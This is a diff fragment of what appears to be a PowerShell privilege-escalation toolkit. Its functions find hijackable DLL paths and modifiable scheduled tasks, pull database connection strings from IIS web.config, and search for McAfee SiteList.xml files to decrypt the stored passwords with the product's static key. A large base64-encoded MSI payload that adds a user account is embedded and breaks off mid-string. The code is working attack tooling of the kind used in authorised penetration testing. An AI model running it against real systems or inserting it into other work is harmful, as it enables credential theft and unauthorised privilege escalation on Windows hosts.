$ModulePath.Contains('C:\Program Files')) { - $Exclude = $True - } + if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + $Exclude = $True + } - if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { - $Exclude = $True - } + if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + $Exclude = $True + } - # output the process name and hijackable path if exclusion wasn't marked - if (-not $Exclude){ - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName - $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path - $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner - $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath - $Out + if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + $Exclude = $True + } + + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName + $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path + $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner + $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out + } } } } @@ -2516,7 +2363,7 @@ function Write-HijackDll { [CmdletBinding()] param( - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [String] [ValidateNotNullOrEmpty()] $DllPath, @@ -2567,15 +2414,15 @@ function Write-HijackDll { [CmdletBinding()] param( - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [Byte[]] $DllBytes, - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [String] $SearchString, - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [String] $ReplaceString ) @@ -2876,7 +2723,8 @@ function Get-ModifiableScheduledTaskFile { Return scheduled tasks with modifiable command strings. #> - [CmdletBinding()]Param() + [CmdletBinding()] + Param() $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" @@ -3028,7 +2876,8 @@ function Get-WebConfig { for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings #> - [CmdletBinding()]Param() + [CmdletBinding()] + Param() $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" @@ -3153,7 +3002,7 @@ function Get-WebConfig { $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique } else { - Write-Verbose 'No connectionStrings found.' + Write-Verbose 'No connection strings found.' $False } } @@ -3331,9 +3180,9 @@ function Get-SiteListPassword { function that takes advantage of McAfee's static key encryption. Any decrypted credentials are output in custom objects. See links for more information. - .PARAMETER SiteListFilePath + .PARAMETER Path - Optional path to a SiteList.xml file. + Optional path to a SiteList.xml file or folder. .EXAMPLE @@ -3375,125 +3224,128 @@ function Get-SiteListPassword { [CmdletBinding()] param( + [Parameter(Position=0, ValueFromPipeline=$True)] [ValidateScript({Test-Path -Path $_ })] - [String] - $SiteListFilePath + [String[]] + $Path ) - function Get-DecryptedSitelistPassword { - # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ - # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) - # port by @harmj0y - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [String] - $B64Pass - ) + BEGIN { + function Local:Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True)] + [String] + $B64Pass + ) - # make sure the appropriate assemblies are loaded - Add-Type -Assembly System.Security - Add-Type -Assembly System.Core + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core - # declare the encoding/crypto providers we need - $Encoding = [System.Text.Encoding]::ASCII - $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider - $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider - # static McAfee key XOR key LOL - $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 - # xor the input b64 string with the static XOR key - $I = 0; - $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } - # build the static McAfee 3DES key TROLOL - $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 - # set the options we need - $3DES.Mode = 'ECB' - $3DES.Padding = 'None' - $3DES.Key = $3DESKey + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey - # decrypt the unXor'ed block - $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) - # ignore the padding for the result - $Index = [Array]::IndexOf($Decrypted, [Byte]0) - if($Index -ne -1) { - $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) - } - else { - $DecryptedPass = $Encoding.GetString($Decrypted) + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} } - New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} - } + function Local:Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True)] + [String] + $Path + ) - function Get-SitelistFields { - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [String] - $Path - ) + try { + [Xml]$SiteListXml = Get-Content -Path $Path - try { - [Xml]$SiteListXml = Get-Content -Path $Path + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" - if($SiteListXml.InnerXml -Like "*password*") { - Write-Verbose "Potential password in found in $Path" + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' - $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { - try { - $PasswordRaw = $_.Password.'#Text' + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } - if($_.Password.Encrypted -eq 1) { - # decrypt the base64 password if it's marked as encrypted - $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} - } - else { - $DecPassword = $PasswordRaw + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties } - - $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } - $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } - - $ObjectProperties = @{ - 'Name' = $_.Name; - 'Enabled' = $_.Enabled; - 'Server' = $Server; - 'Path' = $Path; - 'DomainName' = $_.DomainName; - 'UserName' = $_.UserName; - 'EncPassword' = $PasswordRaw; - 'DecPassword' = $DecPassword; + catch { + Write-Verbose "Error parsing node : $_" } - New-Object -TypeName PSObject -Property $ObjectProperties - } - catch { - Write-Debug "Error parsing node : $_" } } } - } - catch { - Write-Error $_ + catch { + Write-Warning "Error parsing file '$Path' : $_" + } } } - if($SiteListFilePath) { - $XmlFiles = Get-ChildItem -Path $SiteListFilePath - } - else { - $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { - Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + PROCESS { + if($PSBoundParameters['Path']) { + $XmlFilePaths = $Path + } + else { + $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\') } - } - $XmlFiles | Where-Object { $_ } | Foreach-Object { - Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" - Get-SitelistFields -Path $_.Fullname + $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } } } @@ -3512,7 +3364,7 @@ function Write-UserAddMSI { Writes the user add MSI to the local directory. #> - $Path = "UserAdd.msi" + $Path = 'UserAdd.msi' $Binary = "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP3////+/////v///y8AAAAFAAAABgAAAP7///8IAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAACwAAAAYAAAAFgAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAD+////LQAAAC4AAAAwAAAA/v///zEAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAP//////////AgAAAIQQDAAAAAAAwAAAAAAAAEYAAAAAAAAAAAAAAABQSJaT62LPAQMAAABAFwAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBEAAAABkAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgBAAAAAAAAQEj/P+RD7EHkRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgEVAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAEAgAAAAAAABASMpBMEOxOztCJkY3QhxCNEZoRCZCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAACAQQAAAABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAwAAAAAAAAAEBIykEwQ7E/Ej8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIBEgAAAA0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKwAAABgAAAAAAAAAQEjKQflFzkaoQfhFKD8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAKgAAAAAAAABASAtDMUE1RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACARMAAAAWAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFkAAAAIAAAAAAAAAEBIfz9kQS9CNkgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAIBBgAAAAwAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWgAAACYAAAAAAAAAC0MxQTVHfkG9RwxG9kUyRIpBN0NyRM1DL0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAgH/////DwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAAFgBAAAAAABASIxE8ERyRGhEN0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAMAAAAAAAAAEBIDEb2RTJEikE3Q3JEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALwAAADwAAAAAAAAAQEgNQzVC5kVyRTxIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgEOAAAAGAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAEgAAAAAAAABASA9C5EV4RShIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEAAAAQAAAAAAAAAEBID0LkRXhFKDsyRLNEMULxRTZIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAIB/////xEAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAQAAAAAAAAAQEhZRfJEaEU3RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAgEUAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABXAAAAWAAAAAAAAAALQzFBNUd+Qb1HYEXkRDNCJz/oRfhEWUWyQjVBMEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAOAEAAAAAAEBIUkT2ReRDrzs7QiZGN0IcQjRGaEQmQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIABQAAAAgAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAJYAAAAAAAAAQEhSRPZF5EOvPxI/KEU4QrFBKEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AAAAMAAAAAAAAABASBVBeETmQoxE8UHsRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAQoAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAAEAAAAAAAAAEBIFkInQyRIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOQAAAA4AAAAAAAAAQEjeRGpF5EEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABWAAAAIA